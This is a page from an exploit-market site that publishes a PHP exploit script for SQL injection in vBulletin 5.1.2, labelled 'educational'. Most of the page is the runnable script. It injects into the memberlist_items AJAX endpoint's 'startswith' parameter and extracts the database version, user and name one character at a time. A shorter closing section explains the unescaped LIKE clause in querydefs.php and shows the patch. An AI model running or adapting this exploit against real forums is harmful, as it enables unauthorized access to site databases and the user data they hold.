[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

vBulletin 5.1.2 SQL Injection Exploit 0day

Author
RST/GHC
Risk
[
Security Risk Critical
]
0day-ID
0day-ID-22452
Category
remote exploits
Date add
19-07-2014
Platform
php
<?php
 
/*
    Author: Nytro
    Powered by: Romanian Security Team
    Price: Free. Educational.
*/
 
 
error_reporting(E_ALL);
ini_set('display_errors', 1);
 
 
// Get arguments
 
 
$target_url = isset($argv[1]) ? $argv[1] : 'https://rstforums.com/v5';
$expression = str_replace('/', '\\/', $target_url);
 
 
// Function to send a POST request
 
 
function httpPost($url,$params)
{
    $ch = curl_init($url);
 
 
    curl_setopt($ch, CURLOPT_URL,$url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
     
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',
        'Accept: application/json, text/javascript, */*; q=0.01',
        'X-Requested-With: XMLHttpRequest',
        'Referer: https://rstforums.com/v5/memberlist',
        'Accept-Language: en-US,en;q=0.5',
        'Cookie: bb_lastvisit=1400483408; bb_lastactivity=0;'
     ));
 
 
    $output = curl_exec($ch);
     
    if($output == FALSE) print htmlspecialchars(curl_error($ch));
 
 
    curl_close($ch);
    return $output;
}
 
 
// Function to get string between two other strings
 
 
function get_string_between($string, $start, $end)
{
    $string = " ".$string;
    $ini = strpos($string,$start);
    if ($ini == 0) return "";
    $ini += strlen($start);
    $len = strpos($string,$end,$ini) - $ini;
    return substr($string,$ini,$len);
}
 
 
// Get version
 
 
print "\r\nRomanian Security Team - vBulltin 5.1.2 SQL Injection\r\n\r\n";
print "Version: ";
 
 
$result = httpPost($target_url . '/ajax/render/memberlist_items',
        'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(version(),1  ,1)--+"+' .
        '&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
 
 
$letter = 1;
 
 
while(strpos($result, 'No Users Matched Your Query') == false)
{
    $exploded = explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' . $expression . '\/member\/', $result);
 
 
    $username = get_string_between($exploded[1], '">', '<\/a>');
    print $username[0];
     
    $letter++;
    $result = httpPost($target_url . '/ajax/render/memberlist_items',
            'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(version(  ),' . $letter . ',1)--+"+' .
            '&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
 
 
// Get user
 
 
print "\r\nUser: ";
 
 
$result = httpPost($target_url . '/ajax/render/memberlist_items',
        'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(user(),1  ,1)--+"+' .
        '&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
 
 
$letter = 1;
 
 
while(strpos($result, 'No Users Matched Your Query') == false)
{
    $exploded = explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' . $expression . '\/member\/', $result);
 
 
    $username = get_string_between($exploded[1], '">', '<\/a>');
    print $username[0];
 
 
    $letter++;
    $result = httpPost($target_url . '/ajax/render/memberlist_items',
            'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(user(),' . $letter . ',1)--+"+' .
            '&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
 
 
// Get database
 
 
print "\r\nDatabse: ";
 
 
$result = httpPost($target_url . '/ajax/render/memberlist_items',
        'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(database(),  1,1)--+"+' .
        '&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
 
 
$letter = 1;
 
 
while(strpos($result, 'No Users Matched Your Query') == false)
{
    $exploded = explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' . $expression . '\/member\/', $result);
 
 
    $username = get_string_between($exploded[1], '">', '<\/a>');
    print $username[0];
 
 
    $letter++;
    $result = httpPost($target_url . '/ajax/render/memberlist_items',
            'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(database(),  ' . $letter . ',1)--+"+' .
            '&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
 
 
print "\r\n"
 
 
?>

-------------------------------------------------------------------------------------------

More details:

The query was the following:

Code:

SELECT
                    user.userid, user.username, user.usergroupid AS usergroupid, user.lastactivity, user.options,
                    user.posts, user.joindate, user.usertitle,user.reputation,
                    session.lastactivity AS lastvisit,
                    IF(displaygroupid=0, user.usergroupid,  displaygroupid) AS displaygroupid, infractiongroupid, user.usergroupid
                FROM user AS user
                LEFT JOIN session AS session ON session.userid = user.userid
                WHERE user.username LIKE "D%"
                GROUP BY user.userid
                ORDER BY user.username ASC
                LIMIT 0, 10;

The "D" is the controlled parameter. And, the quote (") was NOT escaped.

The query was generated with a function from querydefs.php:

public function fetchMemberList($params, $db, $check_only = false)


The vulnerable code:

if (!empty($params['startswith']))
{
    if ($params['startswith'] == '#')
    {
        $where[] = 'user.username REGEXP "^[^a-z].?"';
}
    else
    {
        $where[] = 'user.username LIKE "' . $params['startswith'] . '%"';
    }
}


And the patch contains the fix:

if (!empty($params['startswith']))
{
    if ($params['startswith'] == '#')
    {
        $where[] = 'user.username REGEXP "^[^a-z].?"';
}
    else
    {
        $where[] = 'user.username LIKE "' . $db->escape_string_like($params['startswith']) . '%"';
    }
}


So now, the value is escaped and SQL Injection is fixed.
vBulletin team moved really fast in fixing this problem.

#  0day.today [2024-07-02]  #